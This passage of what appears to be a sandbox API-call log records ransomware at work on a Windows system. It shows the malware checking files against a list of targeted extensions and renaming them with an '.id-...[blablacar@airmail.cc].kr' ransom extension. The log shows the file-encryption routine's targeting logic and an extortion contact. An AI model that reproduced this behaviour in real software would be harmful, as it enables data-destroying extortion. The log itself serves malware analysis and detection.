shared\\ink\\hwrcommonlm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.896] lstrlenW (lpString=".doc") returned 4 [0091.896] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0091.896] lstrlenW (lpString=".docx") returned 5 [0091.896] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0091.896] lstrlenW (lpString=".pdf") returned 4 [0091.896] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0091.896] lstrlenW (lpString=".xls") returned 4 [0091.897] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0091.897] lstrlenW (lpString=".xlsx") returned 5 [0091.897] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0091.897] lstrlenW (lpString=".ppt") returned 4 [0091.897] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0091.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.897] lstrlenW (lpString=".zip") returned 4 [0091.897] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0091.897] lstrlenW (lpString=".rar") returned 4 [0091.897] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0091.897] lstrlenW (lpString=".bz2") returned 4 [0091.897] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0091.897] lstrlenW (lpString=".7z") returned 3 [0091.897] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0091.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.897] lstrlenW (lpString=".dbf") returned 4 [0091.897] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0091.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.897] lstrlenW (lpString=".1cd") returned 4 [0091.897] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0091.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.897] lstrlenW (lpString=".jpg") returned 4 [0091.897] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.898] lstrlenW (lpString=".doc") returned 4 [0091.898] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString=".docx") returned 5 [0091.898] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0091.898] lstrlenW (lpString=".pdf") returned 4 [0091.898] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString=".xls") returned 4 [0091.898] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString=".xlsx") returned 5 [0091.898] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0091.898] lstrlenW (lpString=".ppt") returned 4 [0091.898] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.898] lstrlenW (lpString=".zip") returned 4 [0091.898] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString=".rar") returned 4 [0091.898] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0091.898] lstrlenW (lpString=".bz2") returned 4 [0091.898] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0091.898] lstrlenW (lpString=".7z") returned 3 [0091.898] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.899] lstrlenW (lpString=".dbf") returned 4 [0091.899] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.899] lstrlenW (lpString=".1cd") returned 4 [0091.899] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0091.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0091.899] lstrlenW (lpString=".jpg") returned 4 [0091.899] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0091.899] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0091.899] lstrlenW (lpString="hwrenclm.dat") returned 12 [0091.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.899] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=498624) returned 1 [0091.899] CloseHandle (hObject=0x328) returned 1 [0091.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0091.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.900] lstrlenW (lpString=".doc") returned 4 [0091.900] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0091.900] lstrlenW (lpString=".docx") returned 5 [0091.900] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0091.900] lstrlenW (lpString=".pdf") returned 4 [0091.900] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0091.900] lstrlenW (lpString=".xls") returned 4 [0091.900] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0091.900] lstrlenW (lpString=".xlsx") returned 5 [0091.900] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0091.900] lstrlenW (lpString=".ppt") returned 4 [0091.900] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0091.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.900] lstrlenW (lpString=".zip") returned 4 [0091.900] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0091.900] lstrlenW (lpString=".rar") returned 4 [0091.900] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0091.901] lstrlenW (lpString=".bz2") returned 4 [0091.901] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0091.901] lstrlenW (lpString=".7z") returned 3 [0091.901] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.901] lstrlenW (lpString=".dbf") returned 4 [0091.901] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.901] lstrlenW (lpString=".1cd") returned 4 [0091.901] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.901] lstrlenW (lpString=".jpg") returned 4 [0091.901] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.901] lstrlenW (lpString=".doc") returned 4 [0091.901] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0091.901] lstrlenW (lpString=".docx") returned 5 [0091.901] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0091.901] lstrlenW (lpString=".pdf") returned 4 [0091.901] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0091.901] lstrlenW (lpString=".xls") returned 4 [0091.901] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0091.901] lstrlenW (lpString=".xlsx") returned 5 [0091.902] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0091.902] lstrlenW (lpString=".ppt") returned 4 [0091.902] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0091.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0091.902] lstrlenW (lpString=".zip") returned 4 [0091.902] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0091.902] lstrlenW (lpString=".rar") returned 4 [0091.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0091.902] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=1100592) returned 1 [0091.902] CloseHandle (hObject=0x328) returned 1 [0091.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0091.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0091.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0091.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0091.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0091.903] lstrlenW (lpString=".doc") returned 4 [0091.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0091.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0091.903] lstrlenW (lpString=".doc") returned 4 [0091.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0092.770] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2515696) returned 1 [0092.770] CloseHandle (hObject=0x35c) returned 1 [0092.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0092.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0092.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0092.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.771] lstrlenW (lpString=".doc") returned 4 [0092.771] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0092.771] lstrlenW (lpString=".docx") returned 5 [0092.771] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0092.771] lstrlenW (lpString=".pdf") returned 4 [0092.771] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0092.771] lstrlenW (lpString=".xls") returned 4 [0092.771] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0092.771] lstrlenW (lpString=".xlsx") returned 5 [0092.771] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0092.771] lstrlenW (lpString=".ppt") returned 4 [0092.772] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0092.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.772] lstrlenW (lpString=".zip") returned 4 [0092.772] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0092.772] lstrlenW (lpString=".rar") returned 4 [0092.772] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0092.772] lstrlenW (lpString=".bz2") returned 4 [0092.772] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0092.772] lstrlenW (lpString=".7z") returned 3 [0092.772] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0092.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.772] lstrlenW (lpString=".dbf") returned 4 [0092.772] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0092.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.772] lstrlenW (lpString=".1cd") returned 4 [0092.772] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0092.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.772] lstrlenW (lpString=".jpg") returned 4 [0092.773] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0092.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.773] lstrlenW (lpString=".doc") returned 4 [0092.773] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0092.773] lstrlenW (lpString=".docx") returned 5 [0092.773] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0092.773] lstrlenW (lpString=".pdf") returned 4 [0092.773] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0092.773] lstrlenW (lpString=".xls") returned 4 [0092.773] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0092.773] lstrlenW (lpString=".xlsx") returned 5 [0092.773] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0092.773] lstrlenW (lpString=".ppt") returned 4 [0092.773] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0092.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.773] lstrlenW (lpString=".zip") returned 4 [0092.774] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0092.774] lstrlenW (lpString=".rar") returned 4 [0092.774] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0092.774] lstrlenW (lpString=".bz2") returned 4 [0092.774] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0092.774] lstrlenW (lpString=".7z") returned 3 [0092.774] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0092.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.774] lstrlenW (lpString=".dbf") returned 4 [0092.774] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0092.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.774] lstrlenW (lpString=".1cd") returned 4 [0092.774] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0092.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0092.774] lstrlenW (lpString=".jpg") returned 4 [0092.774] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0092.775] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0092.775] lstrlenW (lpString="ipsjpn.xml") returned 10 [0092.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0093.098] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2522) returned 1 [0093.098] CloseHandle (hObject=0x34c) returned 1 [0093.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0093.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.098] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.099] lstrlenW (lpString=".doc") returned 4 [0093.099] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.099] lstrlenW (lpString=".docx") returned 5 [0093.099] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0093.099] lstrlenW (lpString=".pdf") returned 4 [0093.099] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.099] lstrlenW (lpString=".xls") returned 4 [0093.099] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.099] lstrlenW (lpString=".xlsx") returned 5 [0093.099] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0093.099] lstrlenW (lpString=".ppt") returned 4 [0093.099] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.099] lstrlenW (lpString=".zip") returned 4 [0093.099] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.099] lstrlenW (lpString=".rar") returned 4 [0093.099] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.099] lstrlenW (lpString=".bz2") returned 4 [0093.099] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.099] lstrlenW (lpString=".7z") returned 3 [0093.099] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.099] lstrlenW (lpString=".dbf") returned 4 [0093.099] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.100] lstrlenW (lpString=".1cd") returned 4 [0093.100] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.100] lstrlenW (lpString=".jpg") returned 4 [0093.100] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.100] lstrlenW (lpString=".doc") returned 4 [0093.100] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString=".docx") returned 5 [0093.100] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0093.100] lstrlenW (lpString=".pdf") returned 4 [0093.100] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString=".xls") returned 4 [0093.100] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString=".xlsx") returned 5 [0093.100] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0093.100] lstrlenW (lpString=".ppt") returned 4 [0093.100] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0093.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.100] lstrlenW (lpString=".zip") returned 4 [0093.100] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0093.100] lstrlenW (lpString=".rar") returned 4 [0093.101] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0093.101] lstrlenW (lpString=".bz2") returned 4 [0093.101] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0093.101] lstrlenW (lpString=".7z") returned 3 [0093.101] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.101] lstrlenW (lpString=".dbf") returned 4 [0093.101] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.101] lstrlenW (lpString=".1cd") returned 4 [0093.101] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0093.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml") returned 61 [0093.101] lstrlenW (lpString=".jpg") returned 4 [0093.101] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0093.101] Sleep (dwMilliseconds=0x64) [0093.576] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.576] lstrlenW (lpString="Bears.htm") returned 9 [0093.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.579] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=255) returned 1 [0093.579] CloseHandle (hObject=0x300) returned 1 [0093.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0093.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.579] lstrlenW (lpString=".doc") returned 4 [0093.579] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.579] lstrlenW (lpString=".docx") returned 5 [0093.579] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.579] lstrlenW (lpString=".pdf") returned 4 [0093.579] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.579] lstrlenW (lpString=".xls") returned 4 [0093.579] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.579] lstrlenW (lpString=".xlsx") returned 5 [0093.580] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.580] lstrlenW (lpString=".ppt") returned 4 [0093.580] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.580] lstrlenW (lpString=".zip") returned 4 [0093.580] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.580] lstrlenW (lpString=".rar") returned 4 [0093.580] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.580] lstrlenW (lpString=".bz2") returned 4 [0093.580] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.580] lstrlenW (lpString=".7z") returned 3 [0093.580] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.580] lstrlenW (lpString=".dbf") returned 4 [0093.580] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.580] lstrlenW (lpString=".1cd") returned 4 [0093.580] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0093.580] lstrlenW (lpString=".jpg") returned 4 [0093.580] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft 